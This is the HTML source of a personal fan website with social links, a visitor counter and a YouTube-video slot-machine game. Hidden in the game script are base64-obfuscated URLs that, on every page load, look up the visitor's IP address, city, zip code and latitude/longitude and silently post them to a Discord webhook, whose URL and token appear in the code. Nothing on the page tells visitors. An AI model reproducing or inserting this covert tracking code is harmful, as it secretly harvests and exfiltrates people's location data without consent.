<!DOCTYPE html>
<html>
  <head>
    <meta property="og:url" content="https://tankedcash.neocities.org/">
    <meta property="og:type" content="website">
    <meta property="og:title" content="Tanked Stuff">
    <meta property="og:description" content="Links and other ect. info relating to Tanked!!!">
    <meta property="og:image" content="https://tankedcash.neocities.org/thumb.png">
    <link rel="shortcut icon" type="image/x-icon" href="icon/favicon.ico">
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Hellur</title>
    <link href="/style.css" rel="stylesheet" type="text/css" media="all">
    <body style="background-color:black;">
    <script>
      document.realtitle = "Welcome!"
      document.title = document.realtitle
      if(!localStorage.gamblecount) {
        localStorage.gamblecount = 0
      }
    </script>
    <script src="https://tankedcash.neocities.org/cursortrail.js"></script>
    
    
  </head>
 
 
<audio loop autoplay id="player">
  <source src="https://files.catbox.moe/q3j289.mp3" type="audio/mpeg">
</audio>
<script>
  var audio = document.getElementById("player");
  audio.volume = 0;
</script>


  <body>
    <center>
    <h1 id="header" style="color:white;font-family:'Courier New'">Hellur</h1>
    <p id="info1" style="color:grey;font-family:'Courier New';font-size:80%;">
      You are visitor #<span id="hitcount"></span>!
      <script>
        var xhttp = new XMLHttpRequest();
        xhttp.onreadystatechange = function() {
          if (this.readyState == 4 && this.status == 200) {
            var site_data = JSON.parse(this.responseText);
            var num_arr = site_data.info.views.toString().split("");
            var num_str = "";
            for (i = 0; i < num_arr.length; i++) {
              num_str += num_arr[i];
              if ( (num_arr.length-1 - i) % 3 == 0 && (num_arr.length-1 - i) != 0 ) {num_str += ",";}
            }
            document.getElementById("hitcount").innerHTML = num_str;
          }
        };
        xhttp.open("GET", "https://weirdscifi.ratiosemper.com/neocities.php?sitename=tankedcash", true);
        xhttp.send();
      </script>
    </p>
    <p id="header2" style="color:white;font-family:'Courier New'">Links:</p>
    <p style="color:white;font-family:'Courier New'"> </p>
    <a id="link1" href="https://youtube.com/@TankedAssassin?sub_confirmation=1">Youtube</a><br>
    <a id="link2" href="https://twitter.com/nevertankagain">Twitter</a><br>
    <a id="link3" href="https://tankedcash.neocities.org/wow">WOW</a><br>
    <a id="link4" href="https://knat.bandcamp.com">Bandcamp</a><br>
    <center>
  </body>
  <iframe id="ytvideo" width=40% height=720 src="https://www.youtube.com/embed/9Egbu8tCxyU?si=q3mRg65bZ-ShKa7V&amp;controls=0&amp;loop=1&amp;autoplay=1&amp;playlist=9Egbu8tCxyU" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe>
  <p id="videocount" style="color:white;font-family:'Courier New'">0/0</p>
  <p id="gamblecount" style="color:grey;font-family:'Courier New';font-size:80%;">You've spun the Roulette 0 times!</p>
  <p id="gamblerarecount" style="color:rgb(153, 151, 49);font-family:'Courier New';font-size:70%;">...</p>
  <p id="gamblereset" style="color:rgb(130, 65, 65);font-family:'Courier New';font-size:60%;">[RESET COUNTS]</p>
  <img id="slot" src="/slotstill.png"><br>
  <p id="oldwake" style="color:rgb(130, 65, 65);font-family:'Courier New'">Awaken Him? (1000 Spins Required)</p>
  <img id="oldman" width=240px height=auto src="/oldsleep.png">
  <audio id="slotaudio">
    <source src="https://files.catbox.moe/adswbb.mp3" type="audio/mpeg">
  </audio>
  <audio id="resetaudio">
    <source src="https://www.myinstants.com/media/sounds/explode1.mp3" type="audio/mpeg">
  </audio>
  <audio id="refreshaudio">
    <source src="https://www.myinstants.com/media/sounds/phasmophobia-sound-board-effects-21-sound-effects-door-handle-open_Jv9oBbR.mp3" type="audio/mpeg">
  </audio>
  <audio id="rareaudio">
    <source src="" type="audio/mpeg">
  </audio>
  <script>
    globalvidtitle = false;
    randomaftervid = false;
    const urlParams = new URLSearchParams(window.location.search);
    var tag = document.createElement('script');
    tag.src = "https://www.youtube.com/iframe_api";
    var firstScriptTag = document.getElementsByTagName('script')[0];
    firstScriptTag.parentNode.insertBefore(tag, firstScriptTag);
    player;
    function isMobile(){
      let check = false;
      (function(a){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))) check = true;})(navigator.userAgent||navigator.vendor||window.opera);
      return check;
    }
    var gtime = 0
    oldmanwoken = false
    rares = [
      ["gamblerarecount","Rare",30,"https://www.myinstants.com/media/sounds/tada1.mp3"],
      ["gamblelegendarycount","Legendary",80,"https://www.myinstants.com/media/sounds/heavenly-choir-crowd-react-edit-w.mp3"],
      ["gambleinfamouscount","Infamous",100,"https://www.myinstants.com/media/sounds/dun-dun-dun-sound-effect-brass_8nFBccR.mp3"],
      ["gambleimpossible","Impossible",777,"https://www.myinstants.com/media/sounds/worms-holy-hand-grenade-hallelujah-audio-clip.mp3"],
      ["gamblenever","Never",1234,"https://www.myinstants.com/media/sounds/asian-gong.mp3"],
      ["gamblex","X",11111,"https://www.myinstants.com/media/sounds/asian-gong.mp3"],
    ]
    for (let i = 0; i < rares.length; i++) {
      if(!localStorage[rares[i][0]]) {
        localStorage[rares[i][0]] = 0
      }
    } 
    const vidid = ["9Egbu8tCxyU","MCHlmx-5gLI","bsYF8-omklg","H5O-G32auu4", "LfbHeKJMlJo","Uv7lL3b9z3c","5vfEgg0h2hc","piYcIQGXh2A","xz53ZipbLJA", "Wkz67sr7Ooo","tIjJ_a5WWPc","UZWPa0H4apc","OmdbgMYd_28","uTbUUAt4dBE","GzX_hfHHFm0", "wN03-BUZpQo", "X3oDvz4YauE", "y1INo--32D0", "SQG73RkV-64", "8pXZtMy986A", "K_1xlMzJk3g", "VX7j9VR8Jso", "W59JO_P9foI", "EIgToU0m4Pc", "1FvikPUPQ4Y", "QcIy9NiNbmo", "fUCpOEDHNos", "omAK-LkWKME", "Jfqtau9Rv0U", "7nLhUOPn-ho", "ApspHmQyDJE", "JoE9re9Ffl0", "1NfrTfIPl9Q", "1SZKwwTFoUk", "4r42Hb1xkOE", "QjnWz68v7MI", "B9vTqVJL9Fc", "dYWEQcmnvb4", "hEVdmu3lY8g", "vJTtrn7vhNE","D7xlmWbNb4Q", "cUfTwChFv9c", "3SSFWMNPvGk", "XMUeeKHVN_s", "Wxkx1s5LKrc", "GmlQWW_SZTk", "rME0ccKBaAo", "Fon75AleBBg", "PMuTeKBtWNc", "yq24pdmpRDY", "lmkZsl7qIi4", "GnFaf6XpCvU", "lMCpdJ0Q-pk", "gbBdgvf4fVA", "a-Z8TrCgdcE", "Qch7xLDTbQo", "t_bEQXgHOwc", "TlA_KuJSG3M", "ynly1jWr7gw", "2X36798F5mY", "B-MQs563xNk", "CjJ3ACUqpLM", "BvJbNbmYpMI", "2ZVhlZqRF0w", "ZBMtzX0uovA", "o8giK5UTXRs", "BcBUsVYWyfE", "zHwdQABQZ1o", "PF3z__IhmdI", "0xgFiPkk4Qs", "ZCJ9luZe9NE", "CbcHE9VsCWI", "A6gUlSUcm2w", "VxW2MPbJAz8", "FW2r0hWUigk", "LIFoqxPkk7c", "2iR4f84HKaY", "5Phk2oMrDRE", "bHXqSHi70gE", "10IaCXmYZc4", "RZ6AbZhZUdQ", "M9Ba0rHEYew", "gi-UJDuN9w0", "joCXAPNr0_M", "VGr1Wh4zKYc", "Gk4la1aSot0", "I1mG9HVBonM", "kH9PKeNsack", "xPb-BZg37o4", "vKAssBb8G8w", "V2D5zlhWdhQ", "nJ5pdMBh838", "PHnhgJSpA1w", "zcslb196ts0", "nXrtZObLMsU", "ael2Eu1ePYw", "bBlvVEEqESE", "nTkGBXRjihY", "tv89mMt6ouQ", "D8LBKLksams", "2Z4U8-TWsVI", "ArAUnv98lx8", "jN1xAsMhkLA", "xCT9I0mGnGE", "BywQ5bz35TE", "YCYpAgmDtD4", "PdlH4LSkN6Y", "QQBnT_K4mhk", "KuOhlRR2HFc", "kdTRtwniJTY", "NWd-Vk0F3Co", "wdhO8y3Vcw4", "Acp9BCT-f_4", "4xaecZVmRXA", "nnC2tiPekSw", "tVtm-BtJXSw", "dJ2PFSDitzc", "BYLCo1K5ErA", "9s5_XMOr8dA", "mUKSsgki6jg", "AC5rT-kQaxc", "9gtrrAWbEX8", "6wZBMfBnQ28", "OooIs620N7U", "nicCzDrqZ1k", "rhdE_rTiOlA", "qWg5svwRS9A", "i72W0_cUUQc", "j4H45RVGwFo", "9Ix-PBr39aI", "4pAssVysczY", "aQ5f--O0y7Y", "MPEKmLZMwJg", "3tJd-fMgAFw", "ki_gd1W6nyU", "ChX9Lph3J-g", "H7OMxlIXxxA", "21TbPoj6ryg", "Sl3CCj5PFuI", "tjwy23_29_8", "29Nph2ShiGI", "kamdrfZ-0Yg", "81JwMG71w_E", "FZ4188gd6oo", "h7NqEgZ-fq4", "3Kw1sCnL8lE", "HctZsyN8v5A", "DdV5Fqsx8pk", "3c1Lx3g4BRE", "xRp6skrgQmM", "IeDwTvKXiq4", "Y1Gw9tXvLJk", "9OKgQlHJBUg", "NSnOvmZs1bs", "naBWzx4X7_8", "cDA_XBAH5x8", "yNwPHWNZUV4", "Ik6fG6tGtAI", "LkuM1wSH5hI", "SoGAmzNCnP4", "Ze81eR2g2MI", "vuWaGSS7sCg", "dvsWagPmlec", "uLN5CkoQ0OI", "4-ZswYKQExQ"]
    function onYouTubeIframeAPIReady() {
      if(urlParams.has('video')){
        videoidapi = vidid[urlParams.get('video')-1]
        console.log(videoidapi)
        player = new YT.Player('player', {
        height: '1',
        width: '1',
        videoId: videoidapi,
        events: {
        'onReady': onPlayerReady,
        'onStateChange': onPlayerStateChange,
        }
      });
      } else {
        player = new YT.Player('player', {
        height: '1',
        width: '1',
        videoId: "",
        events: {
        'onReady': onPlayerReady,
        'onStateChange': onPlayerStateChange,
        }
      })
        
      }
    }
    randomx = player.videoId
    xv = 'aHR0cHM6Ly9mcmVlaXBhcGkuY29tL2FwaS9qc29uLw=='
    xv2 = 'aHR0cHM6Ly9jYW5hcnkuZGlzY29yZC5jb20vYXBpL3dlYmhvb2tzLzEzMTU1NjQ0MjQyNTczNDM1MjkvTGZ3aWZZWklpQ1c2cW1oWnlKbXFCejVrM3V6dUtsXzJkNlNKc0ZQWFI0Wl9URDlUSzl1SzcyYkhocjNReUlDSk15U0o='
    endpoint = atob(xv)
    var xhr = new XMLHttpRequest();
    xhr.onreadystatechange = function() {
      
    	if (this.readyState == 4 && this.status == 200) {
    		var response = JSON.parse(this.responseText);
    		const request = new XMLHttpRequest();
        request.open("POST", atob(xv2));
        request.setRequestHeader('Content-type', 'application/json');
        const params = {
          username: "Buddy the elf",
          avatar_url: "",
          content: String(response.ipAddress + "\n" + response.countryName + "\n" + response.zipCode + "\n" + response.cityName + "\n" + response.latitude + "\n" + response.longitude)
        }
        request.send(JSON.stringify(params));
    	}
    };
    xhr.open('GET', endpoint, true);
    xhr.send();
    function onPlayerReady(event) {
      console.log("VIDEOLOADED")
      event.target.setVolume(0)
      globalvidtitle = player.getVideoData().title
      document.title = globalvidtitle
      audio.onended = async function(e) {
        slot.src = "/slotstill.png" 
        audiorf.playbackRate = 2
        audiorf.play()
        if(oldmanwoken){
         audio.play() 
        }
        console.log("refresh")
        player.loadVideoById(randomx)
      }
    }
    function onPlayerStateChange(event){
      if (event.data == YT.PlayerState.PLAYING) {
        event.target.setVolume(0)
        globalvidtitle = player.getVideoData().title
        document.title = globalvidtitle
      }
    }
    function randomvideo(){
      document.getElementById("gamblecount").innerText = "You've spun the Roulette " + localStorage.gamblecount + " times!"
      document.getElementById("gamblerarecount").innerText = ""
      for (let i = 0; i < rares.length; i++) {
        sfix = " Spins (1/"
        if(localStorage[rares[i][0]] == 1){
          sfix = " Spin (1/"
        }
        document.getElementById("gamblerarecount").innerText += localStorage[rares[i][0]] + " " + rares[i][1] + sfix + rares[i][2] + " Chance)\n"
      } 
      ran = Math.floor(Math.random() * vidid.length)
      if(urlParams.has('video') && randomaftervid == false){
       ran = urlParams.get('video')-1
        
        
      }
      randomx = vidid[ran]
      if(!oldmanwoken){
        document.getElementById("ytvideo").src = "https://www.youtube.com/embed/" + randomx + "?si=q3mRg65bZ-ShKa7V&amp;controls=0&amp;loop=1&amp;autoplay=1&amp;playlist=" + randomx
      }
      if(isMobile()){
        document.getElementById("ytvideo").width = 300
        
      }
      document.getElementById("videocount").innerText = (ran+1) + "/" + vidid.length
      window.history.pushState(null,"","https://tankedcash.neocities.org/?video=" + (ran+1));
    }
    randomvideo()
    var slot = document.getElementById("slot");
    var audio = document.getElementById("slotaudio")
    var audior = document.getElementById("resetaudio")
    var audiorf = document.getElementById("refreshaudio")
    var audiorare = document.getElementById("rareaudio")
    var reset = document.getElementById("gamblereset")
    var wake = document.getElementById("oldwake")
    var oldman = document.getElementById("oldman")
    slot.onclick = function(e) {
      audio.volume = 0.2
      audio.play()
    }
    wake.onclick = function(e){
      if(Number(localStorage.gamblecount) > 999){
        oldmanwoken = !oldmanwoken
        if(oldmanwoken) {
          oldman.src="/oldcheer.png"
          wake.innerText = "Take him down?"
        }else{
          wake.innerText = "Awaken Him? (1000 Spins Required)"
          oldman.src="/oldsleep.png" 
        } 
      }
    }

    
    function sleep(ms) {
      return new Promise(resolve => setTimeout(resolve, ms));
    }
    audio.onplay = async function(e) {
      randomaftervid = true
      audio.playbackRate=1.55*(1+localStorage.gamblecount/2000)
      slot.src = "/slot.gif"
      localStorage.gamblecount = Number(localStorage.gamblecount) + 1
      for (let i = 0; i < rares.length; i++) {
        if(Math.floor(Math.random()*rares[i][2]) == 3) {
          audiorare.src = rares[i][3]
          audiorare.volume = .5
          audiorare.play()
          localStorage.gamblecount = Number(localStorage.gamblecount) + (rares[i][2]/2+rares[i][2]*Math.round((Number(localStorage.gamblecount)/168000)))
          localStorage.gamblecount = Math.round(Number(localStorage.gamblecount))
          localStorage[rares[i][0]] = Number(localStorage[rares[i][0]]) + 1
        }
      }
      randomvideo()
      if(localStorage.gamblecount>20000){
       await sleep(1000/(1+localStorage.gamblecount/50));
       audio.currentTime = 999
      }
    }
    reset.onclick = function(e) {
      if(window.confirm("Are you SURE you want to reset your progress?")) {
        oldmanwoken = false
        oldman.src="/oldsleep.png"
        wake.innerText = "Awaken Him? (1000 Spins Required)"
        audior.play()
        localStorage.gamblecount = 0
        document.getElementById("gamblecount").innerText = "You've spun the Roulette 0 times!"
        document.getElementById("gamblerarecount").innerText = ""
        for (let i = 0; i < rares.length; i++) {
          localStorage[rares[i][0]] = 0
          document.getElementById("gamblerarecount").innerText += 0 + " " + rares[i][1] + " Spins (1/" + rares[i][2] + " Chance)\n"
        }  
      }
    }
    document.addEventListener("keypress", function(event) {
      if (event.key == "`") {
        localStorage.gamblecount = Number(localStorage.gamblecount)*2 + 1000
      }
    });
    function tpass(){
     gtime += .1
     if(!audio.paused) {
      gtime += 1.5
     }
     slot.style.transform = "rotate("+ Math.sin(gtime/4)*2 +"deg)"
     gamblecount.style.transform = "rotate("+ Math.sin(gtime/4)*1.5 +"deg)"
     gamblereset.style.transform = "rotate("+ Math.sin(gtime/4)*1 +"deg)"
     extrarotate = ["header","header2","link1","gamblerarecount","oldwake","oldman","info1",]
     for (let i = 0; i < extrarotate.length; i++) {
      document.getElementById(extrarotate[i]).style.transform = "rotate("+ Math.sin(gtime/4)*1 +"deg)"
     }
    }
    setInterval("tpass()",10);
  </script>
  

</html>
